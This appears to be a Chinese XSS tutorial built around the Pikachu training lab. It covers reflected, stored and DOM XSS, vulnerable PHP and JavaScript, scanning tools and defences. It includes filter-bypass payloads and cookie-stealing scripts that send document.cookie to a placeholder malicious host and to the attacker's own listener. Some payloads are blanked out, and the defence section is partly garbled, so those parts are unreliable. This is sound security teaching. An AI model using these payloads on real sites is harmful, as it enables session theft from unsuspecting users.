当前位置：首页 > news >正文

Pikachu靶场XSS漏洞实战：从原理到防御的代码级解析

news 2026/6/24 4:52:46

1. 项目概述：为什么选择Pikachu靶场来精讲XSS？

如果你刚接触网络安全，或者想找一个能让你把XSS（跨站脚本攻击）从原理到实操都摸透的靶场，那Pikachu绝对是个绕不开的名字。它不是最复杂的，但却是最“贴心”的。很多朋友一上来就啃那些大型综合靶场，结果被各种复杂的场景和前置知识劝退。Pikachu靶场的设计初衷就是“教学”，它把Web安全的常见漏洞，像XSS、SQL注入、文件上传等，一个个单独拎出来，做成一个个独立的小关卡，让你可以像打游戏闯关一样，逐个击破。这种设计，对于理解漏洞的独立形态和基础利用手法，效率极高。

今天我们就聚焦在Pikachu靶场的XSS漏洞上。XSS这东西，原理听起来简单——不就是往网页里插一段恶意脚本嘛。但真让你去挖、去利用、去理解防御，你会发现里面门道不少：为什么有的地方能弹窗，有的地方不行？反射型、存储型、DOM型到底有什么区别？前端的过滤是怎么绕过的？这些问题，光看理论文章是没用的，必须亲手在靶场里“搞破坏”，你才能有切身的体会。Pikachu靶场正好提供了从简到难、类型齐全的XSS漏洞场景，是我们进行“代码级”深度分析的绝佳沙盒。通过它，我们不仅能复现攻击流程，更能深入到前后端代码层面，看清楚漏洞是怎么产生的，以及防御代码应该如何编写。这才是从“脚本小子”走向“安全工程师”的关键一步。

2. 环境搭建与靶场初探

工欲善其事，必先利其器。在开始我们的XSS冒险之前，得先把战场布置好。Pikachu靶场本质上是一个用PHP写的Web应用，所以你需要一个能运行PHP的环境。

2.1 本地环境快速部署

最省事的方法就是使用集成环境包，比如PHPStudy或XAMPP。这里以PHPStudy为例，因为它对Windows用户特别友好。

下载与安装：去PHPStudy官网下载最新版本，安装过程一路下一步即可。安装完成后，启动PHPStudy，你会看到它集成了Apache（Web服务器）、MySQL（数据库）和PHP。
部署靶场：从Pikachu的GitHub仓库或官网下载源码压缩包。解压后，你会得到一个名为pikachu的文件夹。将这个文件夹整个复制到PHPStudy的WWW目录下。这个目录通常是D:\phpstudy_pro\WWW\（具体路径取决于你的安装位置）。
初始化数据库：打开浏览器，访问http://localhost/pikachu。首次访问时，页面会提示你“数据库没有连接，点击进行初始化”。点击它。这个过程会自动在MySQL中创建pikachu所需的数据库和表。如果提示数据库连接失败，你需要检查PHPStudy中的MySQL服务是否已启动，以及pikachu/inc/config.inc.php文件中的数据库配置（用户名、密码）是否与你的PHPStudy设置一致（PHPStudy默认root密码通常是root）。
访问靶场：初始化成功后，刷新页面，你就能看到Pikachu靶场的主界面了。左侧是清晰的漏洞分类菜单，我们的主角“Cross-Site Scripting”就在其中。

注意：有些教程会教你在Linux上用Docker搭建，这当然更“极客”，但对于初学者，本地集成环境出问题更容易排查。比如遇到页面乱码，可能是PHP版本问题，在PHPStudy里切换一下PHP版本（如从7.4切换到5.6）可能就解决了。这就是集成环境的便利之处。

2.2 靶场结构速览与工具准备

进入Pikachu的XSS模块，你会看到它细心地分成了几类：反射型（GET）、反射型（POST）、存储型、DOM型。这个分类本身就是知识点。同时，为了进行有效的测试和分析，你需要准备好以下“武器”：

浏览器：Chrome或Edge（新版）。它们自带的开发者工具（F12打开）是我们分析请求、调试前端代码的利器。
代理工具：Burp Suite社区版就足够。它的作用是把你的浏览器流量“拦下来”，让你能查看、修改每一次HTTP请求和响应的原始内容。对于POST型XSS和后续的深度测试至关重要。
一个简单的文本编辑器：如VS Code或Sublime Text，用于查看和修改Pikachu的PHP/HTML源码，进行代码分析。

把环境搭好，工具备齐，我们才算真正站到了起跑线上。接下来，就从最简单的反射型XSS开始，一步步拆解。

3. 反射型XSS（GET）攻击流程深度拆解

反射型XSS，也叫非持久型XSS，是最常见的一种。它的特点是恶意脚本“反射”自当前请求的URL或参数中，服务器只是原封不动地把它塞进响应页面里，然后就交给浏览器执行了。Pikachu的“反射型XSS（GET）”关卡，就是一个教科书般的例子。

3.1 漏洞点定位与基础利用

打开该关卡，你会看到一个简单的搜索框，提示你“请输入一个你喜欢的小动物”。你输入“dog”并提交，页面上方会显示“你喜欢的动物是：dog”。这个过程看似无害。但作为攻击者，我们的思维要“刁钻”一点：这个“dog”是从URL的查询参数传过去的（?message=dog），并且被直接显示在了页面上。那么，如果我输入的不是“dog”，而是一段HTML或JavaScript代码呢？

尝试输入 ``。提交后，神奇的事情发生了：浏览器弹出了一个警告框，显示“XSS”！这就是一次最简单的反射型XSS攻击。我们来看背后发生了什么：

请求：你在输入框提交 ``，浏览器会构造一个GET请求：http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('XSS')</script>
处理：服务器端的xss_reflected_get.php文件接收到message参数。
响应：PHP代码中很可能有这样一句：echo $_GET[‘message’];或<?php echo $message; ?>。它没有对$_GET[‘message’]进行任何过滤，就直接将其输出（回显）到HTML页面中。
渲染与执行：浏览器接收到响应，发现响应体HTML中包含 `` 标签，它会将其作为正常的JavaScript代码进行解析和执行，于是弹窗出现。

3.2 代码层深度分析：漏洞何以产生？

光知道能弹窗还不够，我们得看看“案发现场”的代码。找到pikachu/vul/xss/xss_reflected_get.php文件，用编辑器打开。核心代码可能如下：

<?php // 从GET参数中获取message $message = $_GET['message']; ?> ... <!-- 在HTML中直接输出 --> <p>你喜欢的动物是：<?php echo $message; ?></p> ...

漏洞根因就在<?php echo $message; ?>这一行。echo函数将变量内容原样输出到HTML流中。当变量内容包含<,>,",'等HTML/JS特殊字符时，它们会被浏览器解释为代码指令，而非普通文本。

为什么这是危险的？想象一下，攻击者可以精心构造一个链接：http://目标网站/vul/xss/xss_reflected_get.php?message=<script>window.location=‘http://恶意网站/steal?cookie=’+document.cookie</script>，然后通过邮件、论坛等方式诱骗用户点击。用户一旦点击，其登录凭证（Cookie）就会被悄无声息地发送到攻击者的服务器。这就是“盗取Cookie”的经典利用方式。

3.3 绕过基础过滤：实战技巧

一个稍有安全意识的开发者可能会做最简单的过滤，比如用htmlspecialchars()函数。但Pikachu靶场为了教学，可能设置了一些简单的“障碍”。假设我们遇到一个过滤了<script>标签的场景，该怎么办？这就需要一些绕过技巧。

利用HTML事件属性：很多HTML标签支持事件属性，如onclick,onmouseover,onload,onerror等。这些属性值里的JavaScript代码是可以执行的。
- 尝试输入：``。当用户鼠标移动到这个图片上时，就会触发弹窗。这里利用了onmouseover事件和src指向一个不存在的图片触发onerror事件。
利用JavaScript伪协议：在可以注入URL的地方（比如<a href=“...”>），可以使用javascript:alert(‘XSS’)。
- 尝试输入：“ onclick=“alert(‘XSS’)”>（注意闭合前面的双引号）。这会创建一个链接，点击后执行JS。
大小写、双写、编码混淆：如果过滤是简单的字符串匹配，可能不区分大小写。可以尝试 ``。或者利用HTML实体编码、URL编码来绕过，如<可以写成%3c，但需要看输出点的上下文是否会对编码进行解码。

实操心得：在真实测试中，浏览器的开发者工具（F12）的“元素（Elements）”面板是你的最佳战友。注入后，立刻在这里查看你的输入最终被渲染成了什么样子。是被转义成了文本（如<script>），还是被完整地解析成了HTML标签？这能帮你快速判断过滤机制和寻找新的注入点。

4. 存储型XSS攻击流程与持久化危害分析

如果说反射型XSS是“一次性”的，那么存储型XSS就是“潜伏性”的。它的恶意脚本被保存到了服务器端（如数据库、文件系统），每当用户访问某个特定页面（如留言板、个人资料页、文章评论）时，脚本就会被读取并执行，影响所有访问该页面的用户。危害性更大。

4.1 攻击流程模拟

进入Pikachu的“存储型XSS”关卡，通常是一个简单的留言板。攻击流程如下：

注入：攻击者在留言内容中输入恶意脚本，例如 ``。
存储：提交后，后端PHP代码将这条留言（包含脚本）存入数据库。
触发：任何其他用户（包括普通用户和管理员）访问这个留言板页面时，后端会从数据库中读取所有留言并显示。
执行：当包含恶意脚本的留言被输出到页面时，浏览器执行该脚本，对所有查看者发起攻击。

在Pikachu中，你提交恶意留言后，刷新页面或新开一个浏览器窗口访问该页面，弹窗依然会出现，这证明了脚本是被“存储”在了服务器上。

4.2 后端代码漏洞透视

查看存储型XSS的后端处理文件（例如xss_stored.php），你会看到类似以下逻辑：

<?php // 处理表单提交 if ($_SERVER[‘REQUEST_METHOD’] == ‘POST’) { $message = $_POST[‘message’]; $nickname = $_POST[‘nickname’]; // 危险操作：未经任何过滤，直接插入数据库 $sql = “INSERT INTO messages (nickname, content) VALUES (‘$nickname’, ‘$message’)”; $result = mysqli_query($conn, $sql); } // 显示留言 $sql = “SELECT * FROM messages ORDER BY id DESC”; $results = mysqli_query($conn, $sql); while ($row = mysqli_fetch_assoc($results)) { echo ‘<div class=“comment”>’; echo ‘<strong>’ . $row[‘nickname’] . ‘</strong>: ‘; echo $row[‘content’]; // 危险操作：从数据库取出后直接输出 echo ‘</div>’; } ?>

漏洞双重奏：

入库未过滤：在将用户输入（$nickname,$message）拼接进SQL语句时，没有进行转义，这本身还可能存在SQL注入漏洞（虽然Pikachu这里可能用了其他方式防护，但习惯很不好）。更重要的是，没有对输入内容进行XSS相关的清洗。
出库未转义：从数据库取出数据后，在echo $row[‘content’];这一行，直接将其输出到HTML中。这是存储型XSS产生的直接原因。

4.3 高级利用：窃取Cookie会话实战

弹窗只是证明漏洞存在。真正的攻击往往悄无声息。我们可以构造一个窃取Cookie的Payload。

准备接收端：你需要一个能接收数据的服务器。对于本地测试，可以用Python快速搭建一个HTTP服务器。在命令行输入python -m http.server 8888，这会在本地的8888端口启动一个简易服务器。
构造恶意Payload：在留言板中输入：
```
<script>var img = new Image(); img.src = ‘http://你的IP地址:8888/steal?cookie=’ + encodeURIComponent(document.cookie);</script>
```
这个脚本会创建一个隐藏的图片请求，将当前用户的Cookie作为参数发送到你的服务器。
实施攻击：以其他用户身份（或新开一个无痕窗口模拟其他用户）访问留言板。
获取Cookie：回到你的Python服务器命令行窗口，你会看到类似GET /steal?cookie=PHPSESSID=abc123...的访问记录。这样，你就拿到了用户的会话ID。

注意事项：现代浏览器为Cookie设置了HttpOnly属性，这能阻止JavaScript通过document.cookie读取敏感Cookie（如会话ID）。Pikachu靶场为了演示，可能没有设置这个属性。但在实战中，遇到HttpOnly的Cookie，XSS就无法直接窃取了，但攻击者仍然可以发起CSRF攻击、模拟用户操作、或盗取页面内容，危害依然严重。

5. DOM型XSS：纯粹的前端“独角戏”

DOM型XSS是一种比较特殊的类型。它的恶意代码执行完全发生在客户端浏览器，不经过服务器端处理。漏洞的根源在于前端JavaScript代码不安全地操作了DOM（文档对象模型）。

5.1 漏洞原理与场景复现

在Pikachu的“DOM型XSS”关卡，你可能会看到一个输入框，让你输入文字，然后点击按钮，文字会显示在页面的某个地方。我们打开浏览器的开发者工具，切换到“源代码（Sources）”或直接查看页面HTML，会发现类似这样的结构：

<input type=“text” id=“input”> <button onclick=“display()”>显示</button> <div id=“output”></div> <script> function display() { var userInput = document.getElementById(‘input’).value; // 危险操作：直接将用户输入拼接到HTML字符串中，并写入DOM document.getElementById(‘output’).innerHTML = ‘你输入的是：’ + userInput; } </script>

攻击流程：

用户在输入框输入 ``。
点击按钮，触发display()函数。
userInput获取到恶意字符串。
innerHTML属性将字符串‘你输入的是：<script>alert(‘XSS’)</script>’直接设置为#output元素的HTML内容。
浏览器解析这段新设置的HTML，遇到 `` 标签，立即执行其中的JavaScript代码。

关键点：整个过程中，用户的输入$_GET或$_POST到服务器，服务器返回的页面是固定的。漏洞是由前端JS代码innerHTML的不安全使用导致的。

5.2 源码分析与修复思路

修复DOM型XSS的核心原则是：避免使用innerHTML、outerHTML、document.write()等可以解析HTML字符串的方法来插入不可信数据。如果非要插入，必须对输入进行严格的转义。

安全写法：

function displaySafe() { var userInput = document.getElementById(‘input’).value; var outputEl = document.getElementById(‘output’); // 方法1：使用textContent，它不会解析HTML，所有内容都视为纯文本 outputEl.textContent = ‘你输入的是：’ + userInput; // 方法2：如果必须生成HTML结构，使用安全的API创建节点 var textNode = document.createTextNode(userInput); outputEl.innerHTML = ‘你输入的是：’; // 先设置静态部分 outputEl.appendChild(textNode); // 追加文本节点 // 方法3：使用可靠的第三方库进行转义（如DOMPurify） }

深度分析：为什么innerHTML危险？因为它会触发浏览器的HTML解析器。而textContent或createTextNode只是操作文本节点，浏览器不会将其内容解析为标签或脚本。在代码审计时，看到innerHTML其值包含用户可控的变量，就需要高度警惕。

6. 自动化工具辅助与漏洞挖掘

手工测试能帮助我们深入理解原理，但在面对大量输入点或复杂应用时，效率低下。这时就需要自动化工具，比如Burp Suite的扫描器或专门针对XSS的XSS Hunter、XSStrike等。

6.1 使用Burp Suite进行被动与主动扫描

被动扫描（Passive Scan）：配置浏览器代理到Burp后，你所有的浏览流量都会经过Burp。Burp会自动分析请求和响应，标记出潜在的漏洞点，比如发现输出点未对<>进行转义。这能帮你快速定位“可疑”的地方。
主动扫描（Active Scan）：在Burp的Proxy历史记录中，右键选中一个请求，发送到Intruder或Scanner。主动扫描器会向目标参数自动发送大量精心构造的测试Payload，并根据响应内容判断是否存在漏洞。对于Pikachu的XSS关卡，你可以对message参数进行主动扫描，Burp会尝试各种绕过技巧。

使用技巧：Burp的扫描结果可能会有误报（False Positive）或漏报（False Negative）。对于它报告的每个疑似XSS点，一定要手工验证。验证方式就是查看响应，确认Payload是否被原样执行，而不仅仅是被反射在页面里。

6.2 专用工具XSStrike初探

XSStrike是一款用Python写的智能XSS检测工具，它比通用扫描器更“懂”XSS。

# 基本使用 python xsstrike.py -u “http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=test” # 针对特定参数 python xsstrike.py -u “http://localhost/pikachu/vul/xss/xss_reflected_get.php” –data “message=test”

它的强大之处在于：

模糊测试（Fuzzing）：它会检测过滤和WAF（Web应用防火墙）规则，并尝试生成绕过Payload。
上下文分析：它会分析参数在响应中出现的位置（是在HTML标签内、属性里、还是JavaScript代码中），然后生成针对该上下文的Payload。
结果验证：它采用多种方式（如检查响应长度、内容匹配）来确认漏洞是否真实可利用，而不仅仅是反射。

实操心得：工具虽好，但不能替代思考。自动化工具跑出来的结果，一定要结合手动分析。特别是对于DOM型XSS，很多扫描器无法有效检测，因为漏洞触发依赖JS执行，不体现在原始响应中。这时候，手动分析前端JS代码就变得不可或缺。

7. 防御方案：从源码层面根治XSS

分析了这么多攻击手法，最终目的是为了防御。防御XSS的核心思想是：对一切不可信的数据进行输出编码或输入验证。

7.1 输出编码：在哪里使用，就在哪里编码

这是最根本、最有效的防御手段。原则是，根据数据最终被放置的上下文，选择正确的编码方式。

HTML正文编码：当用户输入要放在HTML标签之间（如<div>用户输入</div>）时，使用HTML实体编码。
- PHP:htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’)
- 关键参数：ENT_QUOTES非常重要，它会同时转义单引号和双引号，防止攻击者逃逸出HTML属性。UTF-8指定字符集，避免编码问题。
- 修复后代码：echo ‘<p>你喜欢的动物是：’ . htmlspecialchars($message, ENT_QUOTES, ‘UTF-8’) . ‘</p>’;
HTML属性编码：当用户输入要放在HTML属性值里（如<input value=“用户输入”>）时，同样使用HTML实体编码，并且属性值一定要用引号括起来。
- 错误示范：<input value=– 攻击者可以输入“ onclick=“alert(1)来闭合。
- 正确示范：<input value=“<?php echo htmlspecialchars($value, ENT_QUOTES); ?>“>
JavaScript编码：当用户输入要放入<script>标签内的JavaScript代码或事件处理属性（如onclick）中时，情况更复杂。除了对特殊字符进行JavaScript Unicode转义（\uXXXX）外，更安全的做法是避免将不可信数据直接插入JS代码。
- 危险：<script>var userData = “<?php echo $data; ?>“;</script>
- 相对安全：将数据放在HTML的><div id=“data”>header(“Content-Security-Policy: default-src ‘self’; script-src ‘self’;”);
  CSP能极大缓解XSS的危害，但它不是万能的，配置不当可能影响网站功能，且对于不加载外部资源的“内联”XSS，需要额外配置unsafe-inline（不推荐）或使用nonce/hash机制。
  7.3 其他辅助措施
  - 输入验证：在业务逻辑允许的范围内，对输入格式进行严格检查。例如，昵称只允许字母数字，邮箱必须符合格式等。但记住，输入验证不能替代输出编码，因为数据可能在多个上下文中使用。
  - 设置HttpOnly Cookie：为会话Cookie设置HttpOnly属性，可以阻止JavaScript访问，有效防止XSS盗取会话。
```
session_set_cookie_params([‘httponly’ => true]); session_start();
```
  - 使用安全的框架和库：现代Web框架（如Laravel, Django）的模板引擎默认会自动进行输出转义。避免使用原生echo或拼接字符串的方式来生成HTML。
  8. 实战演练与综合挑战
  理论结合实践才能巩固。在掌握了Pikachu各个关卡后，我建议你进行以下综合挑战，这能帮你把知识点串联起来：
  1. 盲打XSS：Pikachu可能有“盲打”关卡，你的输入不会直接在前端显示。你需要构造一个Payload，让目标服务器在后台（比如管理员后台）触发，并将信息（如Cookie、页面内容）带出来。这通常需要借助外部的请求接收平台（如XSS Hunter、RequestBin等）。
  2. 结合其他漏洞：尝试在存在XSS的页面，看看是否能通过XSS触发其他漏洞。例如，能否通过XSS构造一个表单，发起一个CSRF请求，修改管理员密码？这考验你对漏洞链的理解。
  3. 代码审计练习：不要只在前端玩。打开Pikachu的inc目录或各个漏洞的PHP文件，尝试在不运行页面的情况下，仅通过阅读代码，找出潜在的XSS点。然后通过浏览器访问验证你的判断。这是安全工程师的核心能力。
  4. 搭建自己的漏洞笔记：在本地用代码编辑器新建一个HTML文件，模拟一个存在XSS的简单页面，然后尝试用你学到的各种Payload去攻击它。同时，编写修复后的安全版本。这种从零到一的过程，能让你对漏洞的产生和修复有最深刻的理解。
  网络安全的学习是一场漫长的攻防博弈。Pikachu靶场是一个绝佳的起点，它像一本带答案的习题集。但切记，真实世界的漏洞不会这么规整地分好类等你。你需要的是通过这样的刻意练习，培养出“攻击者”的思维和“防御者”的严谨。下次当你写下一行echo或innerHTML时，能下意识地问自己：“这里的输入，我编码了吗？” 那今天这篇长文的目的，就真正达到了。